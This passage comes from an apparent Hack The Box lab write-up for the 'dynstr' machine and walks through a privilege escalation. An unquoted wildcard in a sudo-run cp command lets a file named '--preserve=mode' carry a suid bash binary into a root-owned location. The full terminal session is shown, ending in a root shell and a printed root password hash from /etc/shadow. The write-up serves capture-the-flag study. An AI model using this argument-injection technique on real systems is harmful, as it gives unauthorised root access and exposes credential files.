[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: cannot stat '*': No such file or directory
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.conf.bindmgr:2: open: /etc/bind/named.bindmgr/*: file not found
YAY! We got the flag now! 350e23eb5cc5fbe1199876105561a1fe
β οΈ This might only work when the flag actually starts with a number. If it’s a letter it might not work but in none of my runs I hitted one of those, so if you’re unlucky, skip to next section.
root password hash
Getting the flag is always fun because we’re able to finish the box on HTB, BUT WE WANT MOAR!!! We want a shell!!! For this, we’re gonna need to get creative. So, we need to understand something about how bash
(or shells in general) and commands in general process arguments and for that we’ll focus on this line of the script:
cp .version * /etc/bind/named.bindmgr/
What happens here, and probably the inverse of what you actually beleive, is that it’s not cp
that processes, or interprets, the *
. This is actually done by bash
on a process named “Parameter Expansion” (described here and here). What this means is that before cp
get’s to run, bash
will evaluate the command line and, in this case, find an *
, and replaces it with everything (files in this case) that matches. So if you have 3 files name file1
, file2
, file3
and a directory named dir
and you issue the command cp * dir/
, bash will evaluate it and pass it to cp
as if it was cp file1 file2 file3 dir/
effectively copying all files into dir
.
Now this isn’t normally a problem, but it this case it can be. The problem with the cp
from the script is that *
isn’t between ""
, efectively making it vulnerable some something like “parameter injection” (just what I call it, don’t know if there’s a fancy name for this). This would happen if for example file1
is named --link
. The result is that the previous cp
command while translate into cp --link file2 file3 dir/
making cp
interpret that file as a parameter.
To exploit this, we’re gonna use the --preserve
cp
parameter which allows you to preserve some information from the source file in the destination file. What we really want is a shell, so we’ll make the script copy over a suid
‘ed bash binary owned by root
(since it’s the user running the script thanks to sudo
). Here’s a fast “demo”:
bindmgr@dynstr:~/test$ rm .version
bindmgr@dynstr:~/test$ echo 2 > .version
bindmgr@dynstr:~/test$ cp /bin/bash .
bindmgr@dynstr:~/test$ chmod +s bash
bindmgr@dynstr:~/test$ echo > "--preserve=mode"
bindmgr@dynstr:~/test$ ls -lha
total 1.2M
drwxrwxr-x 2 bindmgr bindmgr 4.0K Jun 16 03:06 .
drwxr-xr-x 6 bindmgr bindmgr 4.0K Jun 16 02:40 ..
-rwsr-sr-x 1 bindmgr bindmgr 1.2M Jun 16 03:05 bash
-rw-rw-r-- 1 bindmgr bindmgr 1 Jun 16 03:06 '--preserve=mode'
-rw-rw-r-- 1 bindmgr bindmgr 2 Jun 16 03:05 .version
bindmgr@dynstr:~/test$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/test.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'
/etc/bind/named.bindmgr/bash:14: unknown option 'hοΏ½ΘEοΏ½'
/etc/bind/named.bindmgr/bash:40: unknown option 'οΏ½YF'
/etc/bind/named.bindmgr/bash:40: unexpected token near '}'
bindmgr@dynstr:~/test$ ls -lh /etc/bind/named.bindmgr/
total 1.2M
-rwsr-sr-x 1 root bind 1.2M Jun 16 03:06 bash
bindmgr@dynstr:~/test$ /etc/bind/named.bindmgr/bash -p
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) egid=117(bind) groups=117(bind),1001(bindmgr)
bash-5.0# head -n 1 /etc/shadow
root:$6$knCJjR0E8SuLyI5.$r7dGtVVY/Z6X0RQKxUvBZY4BQ3DwL7kHtu5YO9cclorPryKq489j2JqN262Ows/aRZvFkQ1R9uQyqoVWeS8ED1:18705:0:99999:7:::
bash-5.0#
Just as a side note, when I first tried this I was using the -p
parameter instead of --preserver=mode
. Totally forgot that -p
also means preserving ownership so the bash binary would end up being owned by bindmgr
making the suid flag useless.
There we go, root
shell and root password hash. Now the box is fully pwned π.